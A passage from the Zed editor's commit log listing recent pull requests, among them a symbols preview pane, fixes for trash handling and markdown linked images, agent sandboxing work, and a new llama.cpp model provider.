- `project_symbols`: construct the picker with
`uniform_list_with_preview`; asynchronously open the buffer for the
selected symbol (cached by candidate id, cleared on each new query) and
implement `try_get_preview_data_for_match` to return the buffer plus the
symbol's anchor range.
- `picker`: add a public `refresh_preview` so a delegate can push
preview data once a buffer finishes opening asynchronously (the symbol
buffer is not available synchronously, unlike text search which already
holds open buffers).


#### Before
<img width="1725" height="712" alt="image"
src="https://github.com/user-attachments/assets/21dcd7d6-7cc4-4de8-ab7d-2f1ce143e814"
/>

##### After
<img width="1725" height="712" alt="image"
src="https://github.com/user-attachments/assets/db981db8-0a61-43bc-9838-c01b7bdbbf78"
/>

Can turn preview pane off by clicking at the bottom button!

## AI disclosure
AI was used for understanding the codebase and formatting this PR.

Release Notes:

- Added a preview pane to the project symbols picker

---------

Co-authored-by: Yara <git@yara.blue>
2026-07-03 10:48:15 +00:00
Ben Brandt
98ddc3ae2e
Update openssl dependencies (#60342)
Release Notes:

- N/A
2026-07-03 09:38:07 +00:00
justinschmitz97
31fc9d5f47
project_panel: Continue batch delete when individual entries fail (#59595)
## Summary

On Windows, `trash::delete_with_info` can return an error even when the
file was successfully moved to the Recycle Bin.

This is caused by a race condition in the `trash` crate: after
`IFileOperation::PerformOperations` completes, it re-binds the trashed
item via `SHCreateItemFromParsingName` to read its metadata, but the
shell's virtual namespace cache may not yet reflect the new item,
producing an error. Previously, the delete loop propagated this error
and aborted the entire batch. The outer `detach_and_log_err` swallowed
the error, so the user received no feedback.

This PR handles each entry independently: entries that fail to delete
are skipped, the loop continues, and undo history is recorded for the
entries that succeeded.

The upstream root cause (the post-operation re-bind race in
`zed-industries/trash-rs`) will be addressed separately.

Before:


https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d

After:


https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7



## Test plan

- [ ] Select multiple files in the project panel on Windows
- [ ] Trash them (right-click > Move to Trash, or `Delete` key)
- [ ] Confirm all selected files are deleted, even if one triggers the
trash-crate race
- [ ] Undo restores the files that were successfully trashed

Release Notes:

- Improved handling of failed trash or delete operations in the Project
Panel in order to display a toast informing the user that some files
could not be trashed or deleted

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
2026-07-02 16:04:53 +00:00
Ben Brandt
9cb3140ea1
wgpu: Use wgpu from crates.io (#60264)
Our patch made it upstream! So we can go back
https://github.com/gfx-rs/wgpu/releases/tag/v29.0.4

Release Notes:

- N/A
2026-07-02 09:36:27 +00:00
Warya Wayne
7d545c0bae
markdown: Make linked images clickable (#59525)
# Objective

Make images nested inside markdown links (e.g., README badges)
clickable, so they behave like normal markdown links.

Previously, linked images rendered correctly but were not interactive in
markdown previews: they did not show a pointer cursor, could not be
clicked to open their target URL, and did not expose link actions
through the context menu.

## Solution

Changed the `MarkdownElement` to detect when an `<img>` tag is inside a
`<a>` tag during rendering. When a linked image is rendered:

- The wrapper `div` gets a `cursor_pointer` style and an `on_click`
handler that opens the link URL (or delegates to the `on_url_click`
callback if set).
- The wrapper also captures right-click events to populate the context
menu with "Copy Link" via `capture_for_context_menu`.
- The `on_url_click` closure type was changed from `Box<dyn Fn>` to
`Rc<dyn Fn>` to allow cloning across multiple handlers.
- When a linked image fails to load, the fallback element's `on_click`
now calls `cx.stop_propagation()` to prevent the event from bubbling to
the parent link wrapper and opening the URL twice.

The feature is gated behind `!self.style.prevent_mouse_interaction` so
it respects existing interaction-prevention settings.

## Testing

- `cargo test -p markdown`: 95 tests passed.
- Manually verified in markdown preview that badge/image links open
correctly and right-click shows "Copy Link".
- Verified existing markdown tests continue to pass.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed images inside markdown links not being clickable.


https://github.com/user-attachments/assets/df2a8d8f-b002-47f9-b139-815ee713700b

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-07-02 08:00:19 +00:00
mertkanakkoc
7e0f63412c
terminal_view: Use backslash escaping for dropped file paths for mac (#57747)
Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

When files are dragged into the terminal, paths were formatted using
Rust's Debug format (`{path:?}`), which wraps them in double quotes.
This caused issues with programs like Claude Code that parse bare paths
from terminal input — quoted paths were treated as plain text instead of
file references.

This change replaces double-quote wrapping with backslash escaping for
special shell characters on Unix, which is both valid shell syntax and
compatible with path-parsing tools running in the terminal. On non-Unix
platforms the previous behavior is preserved.

Tested on macOS only. Unable to verify Windows behavior.

Fixes #57471

Release Notes:

- Fixed/ file drag-and-drop into terminal inserting double-quoted paths,
which prevented tools like Claude Code from recognizing them as file
references.

---------

Co-authored-by: Conrad Irwin <conrad.irwin@gmail.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-07-01 16:00:54 +00:00
zed-zippy[bot]
35c3d27282
Bump Zed to v1.11.0 (#60209)
Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-01 15:24:09 +00:00
ozacod
e4e2c9d3d5
text_finder: Seed last query and filters to make quick edits easier (#59849)
## Summary

It is incremental step to solve issue #59825.

This PR addresses the need for facilitating quick edits for matches
obtained by ‘text_finder’. This makes the text finder remember the last
query, so you can jump to a match, make a quick edit, and reopen the
finder to the same results instead of typing the same query again.


## Problem

A common flow is, open the text editor, then jump to first match, edit
that file, then reopen the finder to continue for next matches. But on
the reopen, the query was seeded from under the cursor. And after
editing, the cursor is usually sitting on an unrelated word, and
previous search was lost. The root cause is priority, the word under the
cursor was seeding the query. 



## Solution

Reorder query seeding so last query outranks the cursor word, then
cursor word can be dropped entirely, since last query is prioritized
over the word under cursor, the last query always wins, so checking the
cursor word afterwards is dead code. And JetBrains makes the same
choice, entirely ignores word on the cursor for seeding query. Explicit
selection still outranks the last query, since selecting text is usually
a deliberate choice.

### Before

1- Active project search query (if any)
2- Active buffer search query (if any)
3- Selected text or word under the cursor
4- Empty



### After
1- Active project search query (if any)
2- Active buffer search query (if any)
3- Selected text
4- Last query (of this project)
5- Empty



With updated order, this friction disappears (the same order is also
observed in JetBrains). To make the last query persistent, it is stored
per project in the database along with the active filters (case
sensitive, whole word, regex), so they also survive reopening the
project.


## Testing

- Manually verified the seed priority order between the options. 
- Verified the last query is seeded when project is reopened.
- Verified filters are restored regardless of this query order.

Release Notes:

- Improved the text finder to seed the last query and filters to make
quick edits easier.

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
2026-07-01 10:32:30 +00:00
Cameron Mcloughlin
4a99aa870e
agent: More sandboxing changes (#60111)
Large change to sandboxing:
- fixes a nasty TOCTOU relating to a symlink swap attack, documented in
the `sandboxing/README.md`
- Adds UI and restrictions when in an untrusted workspace
- Adds tests for (soon to be removed) git support


---

Release Notes:

- N/A or Added/Fixed/Improved ...
2026-06-30 11:10:04 +00:00
Kirill Bulatov
04efe79649
Improve overall compilation stats after the telescope picker feature (#60114)
Follow-up to https://github.com/zed-industries/zed/pull/59604

Build stats changes for `cargo clean && RUSTC_WRAPPER=
CARGO_BUILD_RUSTC_WRAPPER= cargo build --timings -p zed`:
```
===== BASE (441de84) =====
total schedule end: 161.5s   units compiled: 1671
crate                          start     dur     end
editor                         121.3    19.6   140.9
picker                         131.6     2.3   133.9
picker_preview              (absent)
command_palette                133.8     2.2   136.0
dev_container                  133.8     5.4   139.2
onboarding                     137.4     2.5   139.8
settings_profile_selector      136.1     1.8   137.8
theme_selector                 134.0     2.3   136.3

===== HEAD (PR) =====
total schedule end: 158.5s   units compiled: 1672
crate                          start     dur     end
editor                         120.5    18.4   138.8
picker                         119.5     1.7   121.2
picker_preview                 131.2     1.7   132.9
command_palette                121.1     1.9   122.9
dev_container                  121.0     3.3   124.3
onboarding                     121.1     2.2   123.3
settings_profile_selector      121.2     1.7   122.9
theme_selector                 121.2     2.0   123.2
```

Release Notes:

- N/A
2026-06-30 09:26:20 +00:00
Ben Brandt
b04ae5ed81
acp: Update ACP SDK to 1.0.1 (#60088)
Brings in a needed fix to make sure we are properly ignoring unknown
notifications

Release Notes:

- N/A
2026-06-29 17:46:33 +00:00
célina
4b119fc547
Add llama.cpp as a language model provider (#59964)
Hi there, I'm Celina from Hugging Face! Opening this PR to add
[llama.cpp](https://llama.app) as a model provider

# Objective

Today Zed users running llama.cpp have to fall back to the generic
OpenAI-compatible provider, which means no auto-discovery (the router
mode (`llama serve`) discovers models from the cache and loads them on
demand) and manual configuration of every model and its capabilities.
This PR makes `llama.cpp` a first-class provider with the same
auto-discovery experience.

## Solution

- Add a `llama_cpp` client crate with the OpenAI-compatible chat types
(`/v1/chat/completions`, including `reasoning_content`) and the
discovery types (`/v1/models`, `/props`), mirroring the existing
`ollama` crate.
- Add the provider in
`crates/language_models/src/provider/llama_cpp.rs`, modeled on the
Ollama provider (settings, configuration view, event mapping).
- Auto discover served models and their context length and tool/vision
support from `/props`. Set `auto_discover: false` to list models
manually instead.
- An unloaded model can't be inspected without loading it, so it is
listed with optimistic defaults (large context, tools enabled) and is
usable from the first message; its real context length and tool support
are filled in once it loads. These live behind a shared map, so a model
already selected in an open conversation picks them up without being
re-selected.
- Show load progress. The provider subscribes to `/models/sse` and
surfaces each model's load progress (e.g. "Loading weights 42%") in its
display name, reconciling stale labels against `/v1/models`. Builds
without `/models/sse` degrade gracefully - no progress, and no
capability refresh after the initial discovery.
- Add settings (`api_url`, `auto_discover`, `available_models` with
per-model `max_tokens` / `supports_tools` / `supports_images`,
`context_window`, `custom_headers`), the provider icon, a `default.json`
entry, and documentation under "Use a Local Model".

No new dependencies: the crate reuses existing workspace dependencies,
and shared state uses `std::sync::RwLock`.

## Testing

- Unit tests in both new crates cover wire/response parsing, model
discovery for single-model and router shapes, the cold-start optimistic
defaults, the in-place capability refresh once a model loads, and the
`/models/sse` event handling (state changes, load failure, load
progress).
- Built Zed locally and ran it against a local `llama serve` router:
confirmed models are discovered without manual configuration, that the
first message works before a model has finished loading, that load
progress is shown in the model's display name while it loads, and that
the reported context length and tool support refine to the model's real
values once it finishes loading.
- Platforms: tested on macOS (Apple Silicon).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

The generation speed (tokens/sec) depends on the machine you're running
the model, here it's a Apple M3 Max 64GB running a 4-bit quant of
https://huggingface.co/Qwen/Qwen3.5-35B-A3B. For the load progress
status, make sure to upgrade your llama.cpp version to the latest build.


https://github.com/user-attachments/assets/0254f6ef-abe9-42ed-810b-ef1a5b8fa3bd


---

Release Notes:

- Added llama.cpp as a language model provider

---------

Co-authored-by: Ben Brandt <benjamin.j.brandt@gmail.com>
2026-06-29 13:24:33 +00:00
Kirill Bulatov
0deb6c0dea
Fix code lens not being resolved in remote workflows (#59999)
Follow-up to https://github.com/zed-industries/zed/pull/54100
Closes https://github.com/zed-industries/zed/issues/59122

Original PR overlooked that the resolve was not handled from the remote
hosts at all...
Also, fixes the re-fetch of code lens not taking new language servers
into account: before, it exit early whilst now it actually re-fetches
the lens for the new servers.

Before:

<img width="1728" height="1084" alt="before"
src="https://github.com/user-attachments/assets/9ee8205b-084b-4409-9abc-18c4ddb9c4e9"
/>

After:

<img width="1728" height="1084" alt="after"
src="https://github.com/user-attachments/assets/16ad76dc-25e1-4257-80dc-b5aeabc9a4ef"
/>


Release Notes:

- Fixed code lens not being resolved in remote workflows
2026-06-28 14:44:44 +00:00